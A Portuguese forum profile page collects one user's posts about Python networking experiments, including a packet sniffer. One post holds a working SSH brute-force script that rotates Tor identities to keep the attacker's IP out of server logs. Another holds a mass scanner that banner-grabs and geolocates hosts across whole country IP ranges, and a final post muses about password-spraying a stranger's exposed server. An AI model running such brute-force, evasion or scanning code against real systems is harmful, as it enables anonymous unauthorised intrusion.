Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    55
  • Registro em

  • Última visita

Reputação

17 Good

Últimos Visitantes

O bloco dos últimos visitantes está desativado e não está sendo visualizado por outros usuários.

  1. gnoo

    sniffer

    Olá @fredericopissarra tudo bem? Eu acho que o problema tem a ver com o modo como eu estou "escutando" os pacotes a passar na rede, andei a ver a documentação do wireshark que pode ser vista aqui: A minha placa de rede não suporta ( monitor mode ), tenho que comprar uma que tenha esse suporte, depois volto a dar novidades para atualizar o post, até lá... Abraço.
  2. gnoo

    sniffer

    A função recvfrom() como a documentação oficial diz ela recebe dois tipos de valor , (bytes, address) onde bytes é um byte object dos dados recebidos, e address é o endereço do socket enviando dados, tal como a documentação sobre a função recvfrom() diz o formato do valor address depende do tipo de socket que é definido se for da forma que o código acima representa sock = socket(AF_PACKET, SOCK_RAW, ntohs(3)) Ele "automaticamente" faz um bind na minha interface de rede e fica escutando em todas as portas ( penso eu de que ), o que o address me devolve é uma tupla com a minha interface de rede com mais três valores que eu não sei o que é e o endereço mac em bytes order ('wlp3s0', 23346, 4, 1, b'endereço MAC _ bytes') o segundo valor da tupla deve ser a porta em escuta, o que me leva a pensar isso é que esse valor não corresponde ao protocolo da camada de ethernet, (mas também pode ser outra coisa isto sou eu a pensar sozinho)... o terceiro valor da tupla o 4 penso que pode estar relacionado com a versão IP (ipv4) o quarto valor 1 não sei o que é e o quinto será o meu MAC address. Se o tipo de socket for sock = socket(AF_INET, SOCK_RAW,IPPROTO_TCP) ele devolve um tupla com dois valores ('IP', 0), o IP tem vários resultados desde o site onde é feita a requisição, e outros que depois de fazer umas pesquisar com o whois me diz que é da ARIN/IBM fiz umas requisições http com HEAD e dá para ver que são servidores muitos deles Apache, dá-me ideia que será por onde o pacote passa entre o ponto A e o ponto B. acho que sim eu estive a ver se relacionava esse endereço com multicast, e realmente uma tabela que vi fazia referencia a 224.0.0.1 All systems on this subnet.... e acho que é por ai o caminho a explorar vou ver melhor sobre o assunto pode alguma configuração que não está a ser feita mediante esse resultado. O socket RAW não está a rodar em windows está a rodar em linux uma distribuição baseada em Arch Linux - Manjaro, o sistema windows é de um familiar meu que está noutro ponto da casa, eu acho que não tem a ver com isso diretamente, até porque eu tenho uma outra maquina com Debian e o resultado é igual e o meu smarthphone acontece o mesmo.
  3. gnoo

    sniffer

    Oi @fredericopissarra tudo bem? Tens razão não foi muito inteligente da minha parte, segue um excerto do programa com o código que trabalha esses dados: from socket import * from struct import * import sys import binascii def endereco_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def ethernet_frame(dados_pacote): mac_recebe, mac_envia, protocolo = unpack("! 6s 6s H",dados_pacote[:14]) return endereco_mac(mac_recebe), endereco_mac(mac_envia), htons(protocolo), dados_pacote[14:] def IPv4(endereco): return '.'.join(map(str,endereco)) def header_IPv4(dados): versao_header_tamanho = dados[0] versao = versao_header_tamanho >> 4 tamanho_header = (versao_header_tamanho & 15) * 4 ttl, protocolo, fonte, target = unpack('! 8x B B 2x 4s 4s', dados[:20]) return versao, tamanho_header, ttl, protocolo, IPv4(fonte), IPv4(target),dados[tamanho_header:] def main(): sock = socket(AF_PACKET, SOCK_RAW, ntohs(3)) while True: try: dados_pacote, addr = sock.recvfrom(65565) mac_recebe, mac_envia, protocolo_ethernet, dados_pacote = ethernet_frame(dados_pacote) print("Ethernet :") print("\tProtocolo {}".format(protocolo_ethernet)) print("MAC recebe: {} MAC envia: {}".format(mac_recebe, mac_envia)) if protocolo_ethernet == 8: (versao, tamanho_header, ttl, protocolo, fonte, target, dados_pacote) = header_IPv4(dados_pacote) print("\tPacote IPv4:") print("\t\tVersão: {}, Tamanho header: {}, TTL: {}".format(versao, tamanho_header, ttl)) print("\t\t\tProtocolo: {}, Fonte: {}, Destino: {}".format(protocolo, fonte, target)) except KeyboardInterrupt: print("terminado") sys.exit(0) if __name__=='__main__': main() No trafego que sai da minha maquina ele detecta o ip da minha maquina e o ip do site que esta sendo feita a requisição, se for uma maquina diferente que esteja na mesma rede ele detecta o ip da maquina mas o ip do site que e feita a requisição é sempre 255.255.255.255 neste caso maquina a rodar windows ainda tenho outra com linux que devolve tambem o ip 224.0.0.1 salvo erro ... se for trafego a sair do meu smartphone ele detecta o ip do dispositivo mas o site que é feita a requisição mesmo que sites diferente é um ip com 254.0.0.1 se não me engano. Obrigado.
  4. gnoo

    sniffer

    Já percebi que em principio o 255.255.255.255 tem a ver com o Broadcast, só não percebo é porquê que ele vem com esse endereço e não como o servidor que é feita a requisição.
  5. gnoo

    sniffer

    Saudações ando a brincar com um sniffer feito em python, a situação é a seguinte, eu consigo ver o meu tráfego que sai da minha máquina e o seu destino, como por exemplo quando acesso o site: https://www.mentebinaria.com.br o resultado é esse: até ai tudo bem... mas se for um familiar meu que no caso usa Windows numa outra máquina, eu só consigo ver que o tráfego sai da máquina dele e o destino é sempre 255.255.255.255 : alguém sabe o porque disso? estou a fazer isso como a minha interface de rede sem fio em modo promíscuo. Obrigado.
  6. gnoo

    Ajuda com indentação

    Oi tudo bem, posta ai o código fazendo o favor, obrigado. Se calhar era interessante ver o antes e o depois de o teu professor arrumar o código não sei se é possível.
  7. gnoo

    Aviso sobre T50 e Github

    Eu tinha uma conta no github, apesar de nao ter nada relevante la também fechei. Foi bem mandado @fredericopissarra
  8. O Facebook por si já é um malware...
  9. gnoo

    Encriptador de documentos

    Saudações, estou à procura de um encriptador de documentos, alguém tem sugestões? Para GNU/Linux. Obrigado.
  10. gnoo

    Aprenda fazendo: como usar programas de linha de comando

    Oi @Leandro Fróes tudo bem!? Eu li esse tutorial assim por alto, e acho que para tornar o programa mais interessante na linha de comando sem ter que chamar o interpretador seria no inicio do programa adicionar shebang: #!/usr/bin/env python Para informar o sistema onde o programa irá ser executado. Nesse caso tornando o ficheiro executável com: chmod +x programa.py Pode executar o ficheiro sem a extensão do arquivo, nesse caso seria executado desta forma ./programa <argumento> <argumento> Abraço.
  11. Saudações, estava eu a ler um livro para criar um scraper... já agora o livro é este: quando quase no fim do livro falava sobre uma biblioteca do python - pysocks, para obter algum anonimato durante a execução de programas onde são feitas requisições para a rede, eu como ainda não tinha mexido com proxys, pelo menos da forma que vou exemplificar de seguida, larguei tudo e fui procurar informação sobre o assunto... não é dificil encontrar, com algumas bases programação consegue perceber bem como a biblioteca pysocks funciona, e o seu uso é relativamente fácil. Comecei a montar um código, mas tinha a sensação que aquilo não cumpria a sua função, ficava um pouco inquieto ao pensar que podia estar a realizar "alegadamente" testes em redes reais, e ser o meu IP que ficava lá e não do proxy. Entretanto pedi a um amigo meu que é sysadmin para montar um servidor numa outra cidade bem longe de mim para eu poder administrar e com permissão para realizar todos os testes que eu bem entender e para que o cenário fosse o mais real possível, porque ver na prática como as coisas funcionam é outra coisa. E assim foi, ele montou o servidor eu montei o código e iniciei os testes... O processo em si avaliado do ponto de vista técnico é extremamente básico, até porque o objectivo não era a invasão do servidor mas sim perceber qual o registo que fica do lado de lá quando é feito um brute force usando o serviço do TOR. A conversa do costume, não é: O CONTEÚDO QUE SEGUE É APENAS E SÓÓÓÓÓÓ PARA ESTUDO, ESTE TIPO DE PRÁTICAS FEITAS SEM AUTORIZAÇÃO É CRIME..... O código que segue não eficiente especialmente para grandes dicionários, como já disse o objectivo não é a invasão em si mas o comportamento do servidor, e perceber se realmente o teu ip não fica registado no auth.log do sistema. import socks import socket import paramiko host ='<IP>' porto = username = '<user>' lista_passwords = open("passwords.txt","r") passwords = lista_passwords.readlines() def conexao_tor(): socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, "localhost", 9050, True) socket.socket = socks.socksocket print("Conectado ao \033[5;92m\u25CF\033[00mTor SOCK5 \033[1;32m(serviço ativo)\033[00m") def conexao_ssh(): for password in passwords: try: ssh =paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print("A testar Password: %s" % password, end = '') ssh.connect(host,porto,username,password.strip()) sessao = ssh.get_transport().open_session() if sessao.active: print("\033[5;92m[+]Password encontrada:\033[00m %s" % password) except Exception as erro: pass print("Operação terminada!") def nova_identidade(): socks.setdefaultproxy() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 9051)) sock.send(b"AUTHENTICATE\r\n") resposta = sock.recv(1024) if b"250" in resposta: sock.send(b"SIGNAL NEWNYM\r\n") print("\033[1;33mNova identidade atribuida...%s\033[00m\n" %resposta.decode(),) sock.close() conexao_tor() def main(): conexao_tor() conexao_ssh() nova_identidade() conexao_ssh() if __name__ == '__main__': main() Depois de executar o código fui ao ficheiro auth.log e realmente o IP que lá estava não era o meu... E nessa altura senti-me grande ... Os resultados foram: Dois IP's diferentes que não são meus... e dois ips porquê?? Se leram o código e sabem o que está ali eu repeti a operação duas vezes, mas antes de iniciar o segundo round mudei de identidade... ah pois ééééé da para mudar identidade ...ou seja imagino que seja feito um redireccionamento para outro nó de saída do TOR. Mas tinha que confirmar se realmente seriam nós de saída do TOR e foi a esta página (acreditando que a informação é fiavel): https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1 E confirma são dois nós de saída do TOR NOTA: Mas como isto não são tudo rosas o autor do livro deixa alguns avisos que devem ser levados em consideração.... Tradução do Google Tradutor ( Limitei-me a fazer Copy / Paste como devem calcular o português não é o mais correto): simplescreenrecorder-2018-05-29_23.13.02.mp4 Cumprimentos...
  12. oh @Fernando Mercês desculpa, não ter respondido antes, mas nunca mais vim aqui a este post nem me lembro de ter recebido notificação de alguém ter respondido, o meu problema já foi resolvido, o erro era humano como sempre ... O problema e que eu estava a fazer a verificação do arquivo no directório em que era executado o programa, mas a transferência era feita para o meu diretório pessoal, o programa tinha razão o arquivo não estava naquele diretório e sim noutro... enfim... Na altura eu tinha iniciado o programa noutra máquina, com uma distro Linux Mint e passei para uma segunda máquina com Debian, então como eu executava o programa no Mint na pasta pessoal ele reconhecia o ficheiro, mas quando rodava no debian não reconhecia como é obvio por estar a procura em diretŕio diferentes... O erro estava mesmo em frente ao meu nariz... eu pensei que podieria ser a variável PATH ou alguma coisa, sei lá comecei a viajar, e para mim o problema era a distro e não eu... LOOOOL, já foi resolvido. Obrigado, Abraço!
  13. gnoo

    Como detectar host ativos com Python

    Olá @Aof tudo bem !? não sei se seria eficiente em pentest, eu acho que o mais importante aqui é o exercício em si, toda a matéria que é necessário perceber até chegar a este resultado. Abraço
  14. Saudações, fiz um pequeno programa que detecta hosts ativos na rede, e cada um desses host passa por uma base de dados onde é obtida a sua localização ( País e Cidade), e é enviado um HEAD para esse host para tentar perceber ser é servidor , que tipo de servidor e sistema operativo e outro tipo de informação que possa surgir , o programa em si é bastante simples. Eu até a pouco tempo atrás não tinha noção de como é fácil obter uma quantidade enorme do IP's, mas de depois pensei... Quem perceba minimamente de redes com umas bases sólidas não deve ser difícil gerar essa sequência de número, andei a ver sobre o assunto e pensei fazer um programa em python ou shell script para obter esses números, mas ao mesmo tempo não me apetecei muito fazer uma coisa desse tipo, depois de algumas horas de pesquisa pelo nosso amigo Google indo de blog em blog, cheguei a esta pagina: https://lite.ip2location.com/ Depois de dar uma vista de olhos pela página cheguei aqui: https://lite.ip2location.com/ip-address-ranges-by-country E como eles dizem e bem: E pensei cá para mim, " Ainda há gente boa neste mundo "... pois é os nossos IP's estão ai para que quiser ver, é só pegar e andar, talvez para muitos não seja uma novidade mas para mim que estou a entrar dentro deste tipo de assunto foi uma novidade... e para ser sincero até fiquei desiludido com a estupidez de quem faz uma coisa destas, ou então talvez o estúpido seja eu em não ver algo positivo nisto... como já disse sou um iniciante que ainda está a formar opiniões sobre tudo, isso vale o que vale... Agora vem o clichê: "O conteúdo que segue é apenas para estudo, cada um é responsável pelos seu atos" Amén Na mesmo diretório onde se encontra o programa ou noutro diretório qualquer desde que no programa aponte para esse arquivo. inserimos a lista de IP's para fazer isso vamos ao link: escolhemos o país que queremos ou varios paises identificam qual a sequência de IP's que querem testar abrem o vosso terminal e como comando "seq -f " criam a sequência de números que querem no ou nos octetos que querem, algo do genero: executam o programa e esperam pelo resultado, podem ou não ter um arq. para armazenar os resultados obtidos com o scan, o que eu fiz tem essa função, o único senão é que após múltiplas execuções do programa as vezes ele não escreve essa informação no arquivo o que eu tenho feito é faço backup desse arquivo apago o existente e quando inicio o programa de novo é criado outro e tem resolvido o problema.... Se alguém tiver resolução para o problema, a critica é bem vinda. Outra coisa que ainda não consegui melhorar foi o tempo de execução do scan na altura de saida das Threads leva- me em média 2:09 min. para passar à função seguinte para localização dos hosts, se alguém tiver solução para isso mais uma vez é bem vinda... Segue código: ( Feito para rodar em GNU/Linux) #!/usr/bin/env python #__Author__: gnoo from socket import * import threading from datetime import datetime from queue import Queue import geoip2.database import time lista_ip = open("lista_ip.txt", "r") # Abre arq. onde estão os IP's para teste ip_em_lista = lista_ip.readlines() # Lê as linhas do arq. aberto anteriormente resultado_backup = open("hosts_ativos.txt", "a") # se não existe, cria um arq. e armazena informação sobre os hosts ativos numero_host = len(open("lista_ip.txt").readlines()) # conta nr de hosts no arq. lista_host_ativo = [] # armazena os hosts detectados porto = 80 segura_saida = threading.Lock() # impede que a ação das Threads multiplique o mesmo output e o repita def localizador(): if len(lista_host_ativo) == 0: # se não houver hosts na lista fecha programa print("[-]Não foram encontrados hosts ativos") else: resultado_backup.write("Data:{}\n\n".format(str(datetime.now()))) # escreve data no arquivo ref. anteriormente for hosts in lista_host_ativo: # percorre a lista de hosts ativos, onde são aplicadas as intruções dadas no bloco que segue a cada iteração... até ao ultimo host. try: sock_head = socket(AF_INET,SOCK_STREAM) # inicia objeto socket sock_head.connect_ex((hosts, porto)) # Faz a conexão a cada host na lista no porto definido sock_head.sendall(b"HEAD / HTTP/1.1\r\nHost:%a\r\n\r\n" %hosts) # Faz requisição HTTP com método HEAD header = sock_head.recv(1024) # Recebe resposta com cabeçalho sock_head.close() # fecha socket except: pass time.sleep(2) # Pausa o programa dois segundo print("\033[5;92m[+]Host ativo\033[00m: {}".format(hosts)) # identifica host base_dados = geoip2.database.Reader('GeoLite2-City.mmdb') # inicia leitura base dados para identificar localização do host resposta= base_dados.city(hosts) # é armazenada a resposta da localização do host que passa na função city() print("\033[1;93m-País:\033[00m {}".format(resposta.country.name)) # informa país origem print("\033[1;93m-Cidade:\033[00m {}".format(resposta.city.name)) # informa cidade origem print("\033[1;96m««« HTTP HEAD Request »»»\033[00m\n{}\n\n".format(header.decode())) # converte resposta em formato de byte para string resultado_backup.writelines("Host ativo: {}\n".format(hosts)) # escreve no arq. de backup host identificado resultado_backup.writelines("País: {}\n".format(resposta.country.name)) # escreve no arq. de backup país identificado resultado_backup.writelines("{}\n\n".format(header.decode())) # escreve no arq. de backup headers time.sleep(3) resultado_backup.close() # fecha arquivo backup print(lista_host_ativo) # output hosts em lista def scan_tcp(host): try: sock = socket(AF_INET,SOCK_STREAM) # inicia objecto socket setdefaulttimeout(1) # define o tempo de ligação no porto definido resultado = sock.connect_ex((host, porto)) # Faz a conexão a cada host na lista no porto definido print("TCP/{} a testar Host: {} \r".format(porto,host), end="") # informa host a ser testado no momento with segura_saida: if resultado == 0: # confirma se ligação é efetuada... se sim, passa para instruções dadas lista_host_ativo.append(host.rstrip()) # adiciona cada host ativo à lista else: pass except: pass def thread(): while True: acao=q.get() # retira e recebe dados em fila scan_tcp(acao) # função scan_tcp recebe parametros em fila ... host q.task_done() # termina tarefa def executa_scan_tcp(): global q q = Queue() # inicia objeto for y in range(5): # Define número de Threads tarefa= threading.Thread(target=thread) tarefa.daemon=True tarefa.start() t1 = datetime.now() for host in ip_em_lista: # percorre lista de ip q.put(host) # põe dados em fila... parâmetros que vão passar na função scan_tcp() q.join() # Espera que todos os dados sejam tratados, e as threads terminem, # para terminar com auxilio da função task_done() t2 = datetime.now() total_tempo = t2-t1 print("Operação terminada em {}\n\n".format(total_tempo)) # informa tempo de duração do programa print("\033[1;35m>>>> A Iniciar Scan ---- Nº Hosts:\033[00m {}\n\n".format(numero_host)) # output inf. inicio prog. com total de hosts a tratar time.sleep(2) def main(): executa_scan_tcp() print("\n\nA Resolver Total de {} Hosts encontrados\n\n".format(len(lista_host_ativo))) # Informa nr de hosts encontrados para resolver time.sleep(3) localizador() if __name__ == '__main__': main() Fica também um pequeno video com o funcionamento do programa. Cumprimentos... Merged_Merge_4simp.mp4
  15. Saudações @greenmind não é falso positivo nenhum... a situação que ocorre é que detectei uma maquina ubuntu a rodar um Apache e para alem de um SSH (entre outros serviços), no qual eu consigo ligar com um cliente, a unica razão por que ainda não foi exposto é porque ainda não passei um spray lá, a menos que alguem tenha chegado antes de mim. Já passei o whois o unico contato de administradores que tem é do ISP. E como é óbvio ninguém me vai dar autorização para continuar com exploração nenhuma.... nem é essa a minha ideia... Aquilo que parece é ser algum usuário que começou agora a montar uns servidores e descuidou-se...
×